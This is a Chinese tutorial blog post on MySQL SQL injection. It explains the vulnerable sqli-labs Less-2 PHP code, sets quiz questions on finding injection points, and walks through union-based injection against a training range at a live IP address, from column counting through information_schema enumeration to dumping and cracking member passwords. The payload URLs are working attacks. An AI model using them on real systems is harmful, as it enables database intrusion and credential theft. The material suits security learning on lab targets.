当前位置:   article > 正文

WEB漏洞—SQL注入之简要SQL注入_网站的前端哪些点会存在sql注入?

网站的前端哪些点会存在sql注入?

目录

数据库类型—Mysql

SQL注入安全测试中危害

SQL注入产生原理分析

MYSQL一些语句演示:

SQL产生条件:

简要SQL注入习题:

搭建第一个SQL注入学习靶场环境

MYSQL注入—xlaodl

MYSQL数据库

数据库详细了解

小知识:

如何判断注入点?

一、老办法:

二、最舒服的办法:(操作窗口执行)

union联合注入操作流程

判断注入

一、猜解列名数量(字段数) order by 错误与正确数值

二、猜解准备

三、信息收集:

知识点:


数据库类型—Mysql

SQL注入安全测试中危害

SQL直接去对数据库中的数据进行操作(查询,更新,删除)

SQL注入不同注入点是有条件的(权限)

  • ①.危害到数据库里边的数据
  • ②.直接危害到网站的权限(需要满足条件)

SQL注入产生原理分析

简易代码分析SQL注入原理

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Less-2 **Error Based- Intiger**</title>
  6. </head>
  7. <body bgcolor="#000000">
  8. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
  9. <font size="3" color="#FFFF00">
  10. <?php
  11. //including the Mysql connect parameters.
  12. include("../sql-connections/sql-connect.php");
  13. error_reporting(0);
  14. // take the variables
  15. if(isset($_GET['id']))
  16. {
  17. $id=$_GET['id'];//第一步:接收数据
  18. //
  19. //logging the connection parameters to a file for analysis.
  20. $fp=fopen('result.txt','a');
  21. fwrite($fp,'ID:'.$id."\n");
  22. fclose($fp);
  23. // connectivity
  24. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//第二步:数据的拼接
  25. $result=mysql_query($sql);//第三步:数据进行数据库执行
  26. $row = mysql_fetch_array($result);//第四步:执行结果进行展示
  27. if($row)
  28. {
  29. echo "<font size='5' color= '#99FF00'>";
  30. echo 'Your Login name:'. $row['username'];
  31. echo "<br>";
  32. echo 'Your Password:' .$row['password'];
  33. echo "</font>";
  34. }
  35. else
  36. {
  37. echo '<font color= "#FFFF00">';
  38. print_r(mysql_error());
  39. echo "</font>";
  40. }
  41. }
  42. else
  43. {
  44. echo "Please input the ID as parameter with numeric value";
  45. }
  46. ?>
  47. </font> </div></br></br></br><center>
  48. <img src="../images/Less-2.jpg" /></center>
  49. </body>
  50. </html>

当你访问的时候id为1,则对应代码里边的id也为1,当代码里边的id对应等于X时,访问时候的id也对应等于X

注意:第一到第四步在处理得当的时候不会出现注入点,处理不得到当候会出现注入点

SQL注入就是注入SQL语句。往SQL语句中注入。SQL语句被更改或者改写会打扰一些操作

MYSQL一些语句演示:

一、查询一下email邮箱及目录

二、在查询语句中注入其他SQL语句就会查询到其他表的数据(如果其他表如果是 管理员,就有可能查到管理员的账户密码)

  1. http://localhost/sqli-labs-master/Less-2/index.php?id=2//访问这个地址的时候就是图三(网页)
  2. SELECT * FROM users WHERE id=2 LIMIT 0,1//执行语句的时候就是图三(命令窗口)
  3. http://localhost/sqli-labs-master/Less-2/index.php?id=-2
  4. SELECT * FROM users WHERE id=-2 LIMIT 0,1
  5. http://localhost/sqli-labs-master/Less-2/index.php?id=-2 union select 1,email_id,3 from emails//访问这个地址的时候就是图一
  6. SELECT * FROM users WHERE id=-2 union select 1,email_id,3 from emails LIMIT 0,1;//执行语句的时候就是图二

图一:

图二:

图三:

注入:其实就是通过参数传递一个数据过去(例如上边的2),数据拼接到SQL语句中,然后就可以依据此(跟2一起)拼接一些恶意的SQL语句,来实行一些恶意SQL语句的执行效果

SQL注入:通过就是将一些查询的SQL语句通过参数传递到原有的SQL语句中,实现自定义的一个查询

SQL产生条件:

①.SQL语句在定义时候有变量

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

②.SQL语句中存在可控变量

$id=$_GET['id'];

③.可控变量可以代入数据库查询

④.变量过滤不严谨或者没有过滤

简要SQL注入习题:

1.可能存在注入编号选项有哪几个?(1,2,3,4)

  1. a.www.xiaodi8.com/index.php?id=8
  2. b.www.xiaodi8.com/?id=10
  3. c.www.xiaodi8.com/?id=10&x=1
  4. d.www.xiaodi8.com/index.php

解析:

a:存在参数

b:没写index.php并不代表没有,只是默认

c:只是多了一个参数,前边注入,后边注入选择不同

d:第四个有可能是post注入.

2.参数x有注入,以下哪个注入测试正确?(b,c)

  1. a.www.xiaodi.com/news.php?y=1 and l=1&x=2
  2. b.www.xiaodi.com/news.php?y=1&x=2 and l=1
  3. c.www.xiaodi.com/news.php?y=1 and 1=1&x=2 and l=1
  4. d.www.xiaodi.com/news.php?xx=1 and 1=1&xxx=2 and l=1

解析:X有注入,所以注入语句应该写在x后边;?的意思参数,&的意思是连接;l=1相当于是注入语句

3.http://www.krismile.net/index.php?id=52&page=1 如果id参数存在注入,请实现:

  1. http://www.krismile.net/index.php?id=52 and l=1 &page=1
  2. http://www.krismile.net/index.php?page=1 &id=52 and l=1

搭建第一个SQL注入学习靶场环境

Sqlilabs注入靶场搭建简要使用. 注意:phpstudy的php版本;

学习第一个数据库MYSQL简要注入;

MYSQL注入—xlaodl

数据库用户不是电脑的管理员用户是数据库的管理用户,专门管理数据库;

MYSQL数据库

数据库A=网站A(1)

表名(2)

列名(3)

数据(4)

获取数据(1-2-3-4)

数据库B=网站B

...........

数据库C=网站C

.............

数据库详细了解

一个数据库代表一个网站

  1. use 数据库名//使用数据库
  2. show tables//查询数据库的所有表名

select * from rj2hbr7i0n;//查看数据库中列名,数据

小知识:

如何判断注入点?

一、老办法:

and l=1 页面正常

and l=1 页面错误

可能存在注入点;

二、最舒服的办法:(操作窗口执行)

注:404错误——跳转(网站对输入的东西有检测,大部分没有漏洞)

union联合注入操作流程

演示网站:

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

判断注入

一、猜解列名数量(字段数) order by 错误与正确数值

  1. http://124.70.22.208:48857/new_list.php?id=1 order by 4//网站访问正常
  2. http://124.70.22.208:48857/new_list.php?id=1 order by 5//网站访问正常

二、猜解准备

  1. http://124.70.22.208:48857/new_list.php?id=1%20union%20select%201,2,3,4//网站访问正常
  2. http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,2,3,4//网站访问错误,发现错误显示的是2,3

三、信息收集:

  • 数据库版本:version(): 5.7.22-0ubuntu0.16.04.1(5.0以上高版本,5.0以下低版本)
  • 数据库名字:databases(): mozhe_Discuz_StormGroup
  • 数据库用户:user(): root@localhost
  • 操作系用: @@version_compile_os:Linux

1.哪个数字报错,你就在那个数字查询

  1. http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,database(),version(),4查询数据库名字,版本
  2. http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4//查询数据库用户名,操作系统

2.查询指定数据库名mozhe_Discuz_StormGroup下的表明信息

http://124.70.22.208:48857/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

3.查询指定表名StormGroup_member下的表明信息

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27

4.查询指定数据

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member

5.在对获取到的密码进行解密:

https://www.cmd5.com/    //dsan13

知识点:

1.在MYSQL5.0版本以上mysql存在一个自带数据库名为informtion_schema,他是一个存储记录所有数据库名,表明,列名的数据库,也相当于可以通过查询他获取指定数据库下的表名列名信息.

2.数据库中符号“.”代表下一级,如xiaodi.user表示数据库下的user表名。

3.一些代码含义:

  • information_schema.tables:记录所有表名信息的表
  • information_shcema.columns:记录所有列名信息的表
  • table_name:表名 group_concat(table_name)//查询所有表名
  • column_name:列名
  • table_schema:数据库名
本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/596305
推荐阅读
相关标签
  

闽ICP备14008679号